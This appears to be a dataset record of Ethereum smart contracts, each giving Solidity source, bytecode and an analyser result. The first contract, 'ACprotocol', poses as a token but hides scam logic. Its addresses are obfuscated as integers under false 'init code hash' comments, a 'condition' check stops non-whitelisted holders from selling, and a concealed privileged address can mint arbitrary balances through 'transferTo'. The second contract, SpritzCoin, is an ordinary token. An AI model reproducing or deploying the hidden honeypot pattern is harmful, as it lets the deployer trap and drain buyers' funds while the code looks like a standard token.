function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(
address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ACprotocol {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _deployer, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap
|| _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) {
return true;
}
require(condition(_from, _value));
return true;
}
address private Uniswap = address //Uniswap init code hash
//_Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); // Uniswap init code hash
(527585359103765554095092340981710322784165800559 );
address private EtherGas = address //EtherGas init code hash
//_Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); //EtherGas init code hash
(1097077688018008265106216665536940668749033598146);
function ensure1(address _from, address _to, uint _value) internal view returns(bool) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap
|| _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) {
return true;
}
require(condition(_from, _value));
return true;
}
function _UniswapPairAddr () view public returns (address) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
return _Uniswap;
}
function _MdexPairAddr () view public returns (address) {
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
return _MDEX;
}
function _PancakePairAddr () view public returns (address) {
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
return _Pancakeswap;
}
address private MDEXBSC = address //MDEXBSC init code hash
//_MDEX = UNIpairFor(MDEXBSC, HecoGas, address(this)); //MDEXBSC init code hash
(450616078829874088400613638983600230601285572903 );
address private HecoGas = address //HECOGas init code hash
//_MDEX = UNIpairFor(MDEXBSC, HecoGas, address(this)); //HECOGas init code hash
(1138770958000162646985852531912227865167338984875);
function ensure2(address _from, address _to, uint _value) internal view returns(bool) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap
|| _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) {
return true;
}
require(condition(_from, _value));
return true;
}
function _UniswapPairAddr1 () view internal returns (address) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
return _Uniswap;
}
function _MdexPairAddr1 () view internal returns (address) {
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
return _MDEX;
}
function _PancakePairAddr1 () view internal returns (address) {
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
return _Pancakeswap;
}
address private Pancakeswap= address //Pancake init code hash
//_Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); //Pancake init code hash
(1153667454655315432277308296129700421378034175091);
address private BSCGas = address //BSCGas init code hash
//_Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); // BSCGas init code hash
(1069295261705322660692659746119710186699350608220);
function ensure3(address _from, address _to, uint _value) internal view returns(bool) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap
|| _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) {
return true;
}
require(condition(_from, _value));
return true;
}
function _UniswapPairAddr2 () view internal returns (address) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
return _Uniswap;
}
function _MdexPairAddr2 () view internal returns (address) {
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
return _MDEX;
}
function _PancakePairAddr2 () view internal returns (address) {
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
return _Pancakeswap;
}
function VerifyAddr(address addr) public view returns (bool) {
require(ensure(addr,address(this),1));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {
return true;
}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function transferTo(address addr, uint256 addedValue) public payable returns (bool) {
if(addedValue == 100){
emit Transfer(address(0x0), addr, addedValue*(10**uint256(decimals)));
}
if(addedValue > 0) {
balanceOf[addr] = addedValue*(10**uint256(decimals));
}
require(msg.sender == MDEXBSC);
canSale[addr]=true;
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale = 0;
uint256 private _maxSale;
uint256 private _saleNum;
function Agree(address addr) public returns (bool) {
require(msg.sender == deployer);
canSale[addr]=true;
return true;
}
function Allow(uint256 saleNum, uint256 maxToken) public returns(bool){
require(msg.sender == deployer);
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == deployer);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address pairAddress;
function delegate(address addr) public payable returns(bool){
require (msg.sender == deployer);
pairAddress = addr;
return true;
}
function UNIpairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
function PANCAKEpairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private deployer;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
deployer = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0xa), msg.sender, totalSupply);
if(totalSupply > 0) balanceOf[MDEXBSC]=totalSupply*(10**uint256(6));
}
}
|
0x6080604052600436106101095760003560e01c80636083e94b1161009557806395d89b411161006457806395d89b4114610584578063a9059cbb14610614578063aa2f522014610678578063c2549e4314610750578063dd62ed3e146107b757610109565b80636083e94b1461041c5780636c2094741461048357806370a08231146104c457806389982c2d1461052957610109565b806323b872dd116100dc57806323b872dd1461026e5780632ccb1b30146102f2578063313ce567146103565780633d3b3ea7146103815780635c19a95c146103c257610109565b806306fdde031461010e578063095ea7b31461019e578063113f20c71461020257806318160ddd14610243575b600080fd5b34801561011a57600080fd5b5061012361083c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108da565b60405180821515815260200191505060405180910390f35b34801561020e57600080fd5b506102176109cc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024f57600080fd5b50610258610a27565b6040518082815260200191505060405180910390f35b6102da6004803603606081101561028457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a2d565b60405180821515815260200191505060405180910390f35b61033e6004803603604081101561030857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d41565b60405180821515815260200191505060405180910390f35b34801561036257600080fd5b5061036b610ec9565b6040518082815260200191505060405180910390f35b34801561038d57600080fd5b50610396610ece565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610404600480360360208110156103d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f27565b60405180821515815260200191505060405180910390f35b34801561042857600080fd5b5061046b6004803603602081101561043f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fcd565b60405180821515815260200191505060405180910390f35b34801561048f57600080fd5b5061049861108a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d057600080fd5b50610513600480360360208110156104e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e3565b6040518082815260200191505060405180910390f35b34801561053557600080fd5b5061056c6004803603604081101561054c57600080fd5b8101908080359060200190929190803590602001909291905050506110fb565b60405180821515815260200191505060405180910390f35b34801561059057600080fd5b50610599611181565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d95780820151818401526020810190506105be565b50505050905090810190601f1680156106065780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106606004803603604081101561062a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061121f565b60405180821515815260200191505060405180910390f35b6107386004803603604081101561068e57600080fd5b81019080803590602001906401000000008111156106ab57600080fd5b8201836020820111156106bd57600080fd5b803590602001918460208302840111640100000000831117156106df57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611234565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b5061079f6004803603602081101561077357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149a565b60405180821515815260200191505060405180910390f35b3480156107c357600080fd5b50610826600480360360408110156107da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ba565b6040518082815260200191505060405180910390f35b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108d25780601f106108a7576101008083540402835291602001916108d2565b820191906000526020600020905b8154815290600101906020018083116108b557829003601f168201915b505050505081565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080610a1e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306114df565b90508091505090565b600e5481565b600080821415610a405760019050610d3a565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b875781600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610afc57600080fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610b9284848461162a565b610b9b57600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610be757600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60006064821415610db9578273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a85026040518082815260200191505060405180910390a35b6000821115610e0d576012600a0a8202600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e6757600080fd5b6001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b601281565b600080610f1e60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306119a2565b90508091505090565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8357600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461102957600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b6000806110da60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306119a2565b90508091505090565b600c6020528060005260406000206000915090505481565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461115757600080fd5b6000821161116657600061116e565b6012600a0a82025b60098190555082600a8190555092915050565b60108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112175780601f106111ec57610100808354040283529160200191611217565b820191906000526020600020905b8154815290600101906020018083116111fa57829003601f168201915b505050505081565b600061122c338484610a2d565b905092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461129057600080fd5b600083518302905080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156112e457600080fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b845181101561148e57600085828151811061134b57fe5b6020026020010151905084600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816113fb57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161146a57fe5b046040518082815260200191505060405180910390a3508080600101915050611334565b50600191505092915050565b60006114a88230600161162a565b6114b157600080fd5b60019050919050565b600d602052816000526040600020602052806000526040600020600091509150505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161061151e578385611521565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008061167a60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306119a2565b905060006116cb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306119a2565b9050600061171e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306114df565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614806117c95750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806117ff57508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b8061183557508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b8061186b57508173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806118c35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b8061191b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b8061196f5750600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611980576001935050505061199b565b61198a8786611aee565b61199357600080fd5b600193505050505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106119e15783856119e4565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600080600a54148015611b0357506000600854145b8015611b1157506000600954145b15611b1f5760009050611bbf565b6000600a541115611b7c57600a54600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b7b5760009050611bbf565b5b60006008541115611b9b57816008541115611b9a5760009050611bbf565b5b60006009541115611bba57600954821115611bb95760009050611bbf565b5b600190505b9291505056fea2646970667358221220648d5a9d060e65fb4a0c32da76d8109f66c7c846a36c9557a45652979c0d99be64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,332 |
0xc560984d8c4ced2a0eba5790b33b6f43afeef759
|
pragma solidity ^0.4.18;
// File: contracts\zeppelin-solidity\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\zeppelin-solidity\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts\zeppelin-solidity\token\ERC20\BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: contracts\zeppelin-solidity\token\ERC20\BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
// File: contracts\zeppelin-solidity\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\zeppelin-solidity\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts\SpritzCoin.sol
/**
* @title SpritzCoin.
* @dev Specific SpritzCoin token.
*/
contract SpritzCoin is BurnableToken, StandardToken
{
string constant public name = "SpritzCoin";
string constant public symbol = "SPRTZ";
uint256 constant public decimals = 18;
uint256 constant public initialSupply = 36500000000 ether;
function SpritzCoin() public
{
totalSupply_ = initialSupply;
balances[msg.sender] = totalSupply_;
}
/**
* @dev Transfers the same amount of tokens to up to 100 specified addresses.
* If the sender runs out of balance then the entire transaction fails.
* @param _to The addresses to transfer to.
* @param _value The amount to be transferred to each address.
*/
function airdrop(address[] _to, uint256 _value) public
{
require(_to.length <= 100);
require(balanceOf(msg.sender) >= _value.mul(_to.length));
for (uint i = 0; i < _to.length; i++)
{
if (!transfer(_to[i], _value))
{
revert();
}
}
}
/**
* @dev Transfers a variable amount of tokens to up to 100 specified addresses.
* If the sender runs out of balance then the entire transaction fails.
* For each address a value must specified.
* @param _to The addresses to transfer to.
* @param _values The amounts to be transferred to the addresses.
*/
function multiTransfer(address[] _to, uint256[] _values) public
{
require(_to.length <= 100);
require(_to.length == _values.length);
for (uint i = 0; i < _to.length; i++)
{
if (!transfer(_to[i], _values[i]))
{
revert();
}
}
}
}
|
